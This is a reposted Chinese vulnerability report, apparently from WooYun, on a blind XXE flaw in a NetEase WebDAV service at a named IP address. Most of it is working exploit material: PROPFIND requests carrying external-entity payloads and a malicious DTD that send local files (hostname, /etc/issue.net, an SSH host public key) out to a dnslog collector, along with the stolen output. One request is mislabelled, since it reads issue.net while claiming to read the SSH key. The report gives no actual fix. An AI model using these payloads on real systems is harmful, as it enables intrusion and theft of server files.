神刀安全网

漏洞标题: 利用网易一处XXE盲注演示如何通过cloudeye配合实现文件内容读取

漏洞详情

披露状态:

2016-04-28: 细节已通知厂商并且等待厂商处理中
2016-04-29: 厂商已经确认,细节仅向厂商公开
2016-05-09: 细节向核心白帽子及相关领域专家公开
2016-05-19: 细节向普通白帽子公开
2016-05-29: 细节向实习白帽子公开
2016-06-13: 细节向公众公开

简要描述:

野生xml外部实体注入

详细说明:

地址:

code 区域
http://106.2.32.66:8080/webdav/

IP归属地:

漏洞标题:  利用网易一处XXE盲注演示如何通过cloudeye配合实现文件内容读取

存在一处webdav目录,支持通过PROPFIND方式提交xml结构请求

构造xxe测试payload:

code 区域
PROPFIND /webdav/ HTTP/1.1
Content-type: application/xml
Depth: 0
Connection: Keep-alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106.2.32.66:8080
Content-Length: 172
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtz3zkd [
<!ENTITY % dtd SYSTEM "http://66ae2b.dnslog.info/">
%dtd;]>
<propfind xmlns="DAV:"><allprop/></propfind>

cloudeye apache日志:

漏洞标题:  利用网易一处XXE盲注演示如何通过cloudeye配合实现文件内容读取

response返回数据:

code 区域
<?xml version="1.0" encoding="utf-8" ?>
<multistatus xmlns="DAV:"><response><href>/webdav/</href>
<propstat><prop><creationdate>2015-07-13T12:13:57Z</creationdate>
<displayname><![CDATA[]]></displayname>
<resourcetype><collection/></resourcetype>
<source></source>
<supportedlock><lockentry><lockscope><exclusive/></lockscope><locktype><write/></locktype></lockentry><lockentry><lockscope><shared/></lockscope><locktype><write/></locktype></lockentry></supportedlock>
</prop>
<status>HTTP/1.1 200 OK</status>
</propstat>
</response>
</multistatus>

证明解析xml时尝试引用了外部资源,存在XXE漏洞

漏洞证明:

后续尝试构造xml请求获取回显失败,考虑继续通过cloudeye获取blind xxe回显结果。

创建一个获取回显结果的dtd文件:

code 区域
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://66ae2b.dnslog.info/?xml1=%payload;'>">
%all;

调用地址:http://*.*.*.*:8080/xml/evil.dtd

再次构造请求payload读取hostname:

code 区域
PROPFIND /webdav/ HTTP/1.1
Content-type: application/xml
Depth: 0
Connection: Keep-alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106.2.32.66:8080
Content-Length: 172
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % payload SYSTEM "file:///proc/sys/kernel/hostname">
<!ENTITY % dtd SYSTEM "http://*.*.*.*:8080/xml/evil.dtd">
%dtd;
%send;
]>
<propfind xmlns="DAV:"><allprop/></propfind>

cloudeye apache日志:

漏洞标题:  利用网易一处XXE盲注演示如何通过cloudeye配合实现文件内容读取

获取的hostname为:classa-popoatispam1,貌似是网易popo的反垃圾邮件系统

由于读取带有换行符、#、<、>等特殊符号文件内容时,会破坏xml语法结构,导致payload无法正常解析,所以还做不到任意文件读取,可以尝试寻找base64、urlencode编码方法来解决,反正我是没有搞定/(ㄒoㄒ)/~~

但是也可以读到好多有价值的内容,比如读取/etc/issue.net:

code 区域
PROPFIND /webdav/ HTTP/1.1
Content-type: application/xml
Depth: 0
Connection: Keep-alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106.2.32.66:8080
Content-Length: 172
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % payload SYSTEM "file:///etc/issue.net">
<!ENTITY % dtd SYSTEM "http://*.*.*.*:8080/xml/evil.dtd">
%dtd;
%send;
]>
<propfind xmlns="DAV:"><allprop/></propfind>

结果为:Debian%20GNU/Linux%207

漏洞标题:  利用网易一处XXE盲注演示如何通过cloudeye配合实现文件内容读取

读取/etc/ssh/ssh_host_rsa_key.pub:

code 区域
PROPFIND /webdav/ HTTP/1.1
Content-type: application/xml
Depth: 0
Connection: Keep-alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106.2.32.66:8080
Content-Length: 172
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % payload SYSTEM "file:///etc/issue.net">
<!ENTITY % dtd SYSTEM "http://*.*.*.*:8080/xml/evil.dtd">
%dtd;
%send;
]>
<propfind xmlns="DAV:"><allprop/></propfind>

结果为:ssh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABAQCcdWadpFCGUL9soWpo7KIc4/WlcwkcvqOeMfnCS4sSmT+fsQ1FMY+h6Ab+xQrvrhp4ufIN/iR92SMeIYLCxg+DSIXKdxKob9luJKdF/zl4UY/qTmRaQaAPlAgZsPHnBMKT5BW08ZMX+NzH8jQQx6xHCkx4Bqom88NMfePN0ydYwGzehS/7oh0s9JYgo8knTJ6eke7y/ohtzMLjCoBQHfAOTtyRPoFSyfc2ksU/rZOvAPteQvmhyc1geAmngcGV0eabzhSmNHcrxqeKZ5wK7zOmoGeoEZr[email protected]classa-popoatispam1

漏洞标题:  利用网易一处XXE盲注演示如何通过cloudeye配合实现文件内容读取

修复方案:

O(∩_∩)O~

版权声明:转载请注明来源 sanwenkit@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 利用网易一处XXE盲注演示如何通过cloudeye配合实现文件内容读取

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址